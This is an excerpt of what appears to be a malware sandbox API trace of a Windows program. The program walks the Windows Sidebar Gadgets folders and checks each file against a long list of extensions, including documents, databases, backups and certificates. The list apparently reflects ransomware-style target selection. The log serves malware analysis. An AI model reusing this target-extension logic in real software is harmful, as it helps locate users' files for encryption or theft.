cAlternateFileName="")) returned 1 [0265.602] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US") returned 57 [0265.602] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\*", lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x63f048 [0265.603] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.603] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1216, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.html", cAlternateFileName="")) returned 1 [0265.603] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css") returned 61 [0265.603] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\*", lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x63f108 [0265.603] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.603] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.css", cAlternateFileName="")) returned 1 [0265.603] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js") returned 60 [0265.603] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\*", lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x63f108 [0265.603] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23730c68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.603] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x47ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="cpu.js", cAlternateFileName="")) returned 1 [0265.603] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images") returned 58 [0265.603] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\*", lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8057bdba, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8057bdba, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x63f048 [0265.604] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8057bdba, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8057bdba, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.604] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842ddbeb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842ddbeb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x290d46f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x42e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="back.png", cAlternateFileName="")) returned 1 [0265.605] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US") returned 62 [0265.605] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\*", lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x63f048 [0265.605] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.605] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0265.605] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css") returned 66 [0265.605] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\*", lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x63f108 [0265.605] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.605] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.css", cAlternateFileName="")) returned 1 [0265.605] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js") returned 65 [0265.605] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\*", lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x63f108 [0265.605] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.605] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x104de, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.js", cAlternateFileName="")) returned 1 [0265.606] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images") returned 63 [0265.606] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\*", lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8063a49c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8063a49c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x63f048 [0265.606] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8063a49c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8063a49c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.606] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8640abee, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8640abee, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x296c7da5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3129, dwReserved0=0x0, dwReserved1=0x0, cFileName="activity16v.png", cAlternateFileName="")) returned 1 [0265.606] lstrlenW (lpString=".accdb") returned 6 [0265.606] lstrcmpiW (lpString1=".accdb", lpString2="-2.png") returned -1 [0265.606] lstrlenW (lpString=".accdc") returned 6 [0265.606] lstrcmpiW (lpString1=".accdc", lpString2="-2.png") returned -1 [0265.606] lstrlenW (lpString=".accde") returned 6 [0265.606] lstrcmpiW (lpString1=".accde", lpString2="-2.png") returned -1 [0265.606] lstrlenW (lpString=".accdt") returned 6 [0265.607] lstrcmpiW (lpString1=".accdt", lpString2="-2.png") returned -1 [0265.607] lstrlenW (lpString=".accdw") returned 6 [0265.607] lstrcmpiW (lpString1=".accdw", lpString2="-2.png") returned -1 [0265.607] lstrlenW (lpString=".adb") returned 4 [0265.607] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0265.607] lstrlenW (lpString=".adp") returned 4 [0265.607] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0265.607] lstrlenW (lpString=".ai") returned 3 [0265.607] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0265.607] lstrlenW (lpString=".ai3") returned 4 [0265.607] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0265.607] lstrlenW (lpString=".ai4") returned 4 [0265.607] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0265.607] lstrlenW (lpString=".ai5") returned 4 [0265.607] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0265.607] lstrlenW (lpString=".ai6") returned 4 [0265.607] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0265.607] lstrlenW (lpString=".ai7") returned 4 [0265.607] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0265.607] lstrlenW (lpString=".ai8") returned 4 [0265.607] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0265.607] lstrlenW (lpString=".anim") returned 5 [0265.607] lstrcmpiW (lpString1=".anim", lpString2="2.png") returned -1 [0265.607] lstrlenW (lpString=".arw") returned 4 [0265.607] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0265.607] lstrlenW (lpString=".as") returned 3 [0265.607] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0265.607] lstrlenW (lpString=".asa") returned 4 [0265.607] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0265.607] lstrlenW (lpString=".asc") returned 4 [0265.607] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0265.607] lstrlenW (lpString=".ascx") returned 5 [0265.607] lstrcmpiW (lpString1=".ascx", lpString2="2.png") returned -1 [0265.607] lstrlenW (lpString=".asm") returned 4 [0265.607] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1 [0265.607] lstrlenW (lpString=".asmx") returned 5 [0265.608] lstrcmpiW (lpString1=".asmx", lpString2="2.png") returned -1 [0265.608] lstrlenW (lpString=".asp") returned 4 [0265.608] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1 [0265.608] lstrlenW (lpString=".aspx") returned 5 [0265.608] lstrcmpiW (lpString1=".aspx", lpString2="2.png") returned -1 [0265.608] lstrlenW (lpString=".asr") returned 4 [0265.608] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1 [0265.608] lstrlenW (lpString=".asx") returned 4 [0265.608] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1 [0265.608] lstrlenW (lpString=".avi") returned 4 [0265.608] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1 [0265.608] lstrlenW (lpString=".avs") returned 4 [0265.608] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1 [0265.608] lstrlenW (lpString=".backup") returned 7 [0265.608] lstrcmpiW (lpString1=".backup", lpString2="d-2.png") returned -1 [0265.608] lstrlenW (lpString=".bak") returned 4 [0265.608] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1 [0265.608] lstrlenW (lpString=".bay") returned 4 [0265.608] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1 [0265.608] lstrlenW (lpString=".bd") returned 3 [0265.608] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1 [0265.608] lstrlenW (lpString=".bin") returned 4 [0265.608] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1 [0265.608] lstrlenW (lpString=".bmp") returned 4 [0265.608] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1 [0265.608] lstrlenW (lpString=".bz2") returned 4 [0265.608] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0265.608] lstrlenW (lpString=".c") returned 2 [0265.608] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1 [0265.608] lstrlenW (lpString=".cdr") returned 4 [0265.608] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1 [0265.608] lstrlenW (lpString=".cer") returned 4 [0265.608] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1 [0265.608] lstrlenW (lpString=".cf") returned 3 [0265.608] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1 [0265.608] lstrlenW (lpString=".cfc") returned 4 [0265.608] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1 [0265.609] lstrlenW (lpString=".cfm") returned 4 [0265.609] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1 [0265.609] lstrlenW (lpString=".cfml") returned 5 [0265.609] lstrcmpiW (lpString1=".cfml", lpString2="2.png") returned -1 [0265.609] lstrlenW (lpString=".cfu") returned 4 [0265.609] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1 [0265.609] lstrlenW (lpString=".chm") returned 4 [0265.609] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1 [0265.609] lstrlenW (lpString=".cin") returned 4 [0265.609] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1 [0265.609] lstrlenW (lpString=".class") returned 6 [0265.609] lstrcmpiW (lpString1=".class", lpString2="-2.png") returned -1 [0265.609] lstrlenW (lpString=".clx") returned 4 [0265.609] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1 [0265.609] lstrlenW (lpString=".config") returned 7 [0265.609] lstrcmpiW (lpString1=".config", lpString2="d-2.png") returned -1 [0265.609] lstrlenW (lpString=".cpp") returned 4 [0265.609] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1 [0265.609] lstrlenW (lpString=".cr2") returned 4 [0265.609] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1 [0265.609] lstrlenW (lpString=".crt") returned 4 [0265.609] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1 [0265.609] lstrlenW (lpString=".crw") returned 4 [0265.609] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1 [0265.609] lstrlenW (lpString=".cs") returned 3 [0265.609] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1 [0265.609] lstrlenW (lpString=".css") returned 4 [0265.609] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1 [0265.609] lstrlenW (lpString=".csv") returned 4 [0265.609] lstrcmpiW (lpString1=".csv", lpString2=".png") returned -1 [0265.609] lstrlenW (lpString=".cub") returned 4 [0265.609] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1 [0265.609] lstrlenW (lpString=".dae") returned 4 [0265.609] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1 [0265.609] lstrlenW (lpString=".dat") returned 4 [0265.609] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1 [0265.609] lstrlenW (lpString=".db") returned 3 [0265.610] lstrcmpiW (lpString1=".db", lpString2="png") returned -1 [0265.610] lstrlenW (lpString=".dbf") returned 4 [0265.610] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0265.610] lstrlenW (lpString=".dbx") returned 4 [0265.610] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1 [0265.610] lstrlenW (lpString=".dc3") returned 4 [0265.610] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1 [0265.610] lstrlenW (lpString=".dcm") returned 4 [0265.610] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1 [0265.610] lstrlenW (lpString=".dcr") returned 4 [0265.610] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1 [0265.610] lstrlenW (lpString=".der") returned 4 [0265.610] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1 [0265.610] lstrlenW (lpString=".dib") returned 4 [0265.610] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1 [0265.610] lstrlenW (lpString=".dic") returned 4 [0265.610] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1 [0265.610] lstrlenW (lpString=".dif") returned 4 [0265.610] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1 [0265.610] lstrlenW (lpString=".divx") returned 5 [0265.610] lstrcmpiW (lpString1=".divx", lpString2="2.png") returned -1 [0265.610] lstrlenW (lpString=".djvu") returned 5 [0265.610] lstrcmpiW (lpString1=".djvu", lpString2="2.png") returned -1 [0265.610] lstrlenW (lpString=".dng") returned 4 [0265.610] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1 [0265.610] lstrlenW (lpString=".doc") returned 4 [0265.610] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0265.610] lstrlenW (lpString=".docm") returned 5 [0265.610] lstrcmpiW (lpString1=".docm", lpString2="2.png") returned -1 [0265.610] lstrlenW (lpString=".docx") returned 5 [0265.610] lstrcmpiW (lpString1=".docx", lpString2="2.png") returned -1 [0265.610] lstrlenW (lpString=".dot") returned 4 [0265.610] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1 [0265.610] lstrlenW (lpString=".dotm") returned 5 [0265.610] lstrcmpiW (lpString1=".dotm", lpString2="2.png") returned -1 [0265.610] lstrlenW (lpString=".dotx") returned 5 [0265.610] lstrcmpiW (lpString1=".dotx", lpString2="2.png") returned -1 [0265.610] lstrlenW (lpString=".dpx") returned 4 [0265.611] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1 [0265.611] lstrlenW (lpString=".dqy") returned 4 [0265.611] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1 [0265.611] lstrlenW (lpString=".dsn") returned 4 [0265.611] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1 [0265.611] lstrlenW (lpString=".dt") returned 3 [0265.611] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1 [0265.611] lstrlenW (lpString=".dtd") returned 4 [0265.611] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1 [0265.611] lstrlenW (lpString=".dwg") returned 4 [0265.611] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1 [0265.611] lstrlenW (lpString=".dwt") returned 4 [0265.611] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1 [0265.611] lstrlenW (lpString=".dx") returned 3 [0265.611] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1 [0265.611] lstrlenW (lpString=".dxf") returned 4 [0265.611] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1 [0265.611] lstrlenW (lpString=".edml") returned 5 [0265.611] lstrcmpiW (lpString1=".edml", lpString2="2.png") returned -1 [0265.611] lstrlenW (lpString=".efd") returned 4 [0265.611] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1 [0265.611] lstrlenW (lpString=".elf") returned 4 [0265.611] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1 [0265.611] lstrlenW (lpString=".emf") returned 4 [0265.611] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1 [0265.611] lstrlenW (lpString=".emz") returned 4 [0265.611] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1 [0265.611] lstrlenW (lpString=".epf") returned 4 [0265.611] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1 [0265.611] lstrlenW (lpString=".eps") returned 4 [0265.611] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1 [0265.611] lstrlenW (lpString=".epsf") returned 5 [0265.611] lstrcmpiW (lpString1=".epsf", lpString2="2.png") returned -1 [0265.611] lstrlenW (lpString=".epsp") returned 5 [0265.611] lstrcmpiW (lpString1=".epsp", lpString2="2.png") returned -1 [0265.611] lstrlenW (lpString=".erf") returned 4 [0265.611] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1 [0265.612] lstrlenW (lpString=".exr") returned 4 [0265.612] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1 [0265.612] lstrlenW (lpString=".f4v") returned 4 [0265.612] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1 [0265.612] lstrlenW (lpString=".fido") returned 5 [0265.612] lstrcmpiW (lpString1=".fido", lpString2="2.png") returned -1 [0265.612] lstrlenW (lpString=".flm") returned 4 [0265.612] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1 [0265.612] lstrlenW (lpString=".flv") returned 4 [0265.612] lstrcmpiW (lpString1=".flv", lpString2=".png") returned -1 [0265.612] lstrlenW (lpString=".frm") returned 4 [0265.612] lstrcmpiW (lpString1=".frm", lpString2=".png") returned -1 [0265.612] lstrlenW (lpString=".fxg") returned 4 [0265.612] lstrcmpiW (lpString1=".fxg", lpString2=".png") returned -1 [0265.612] lstrlenW (lpString=".geo") returned 4 [0265.612] lstrcmpiW (lpString1=".geo", lpString2=".png") returned -1 [0265.612] lstrlenW 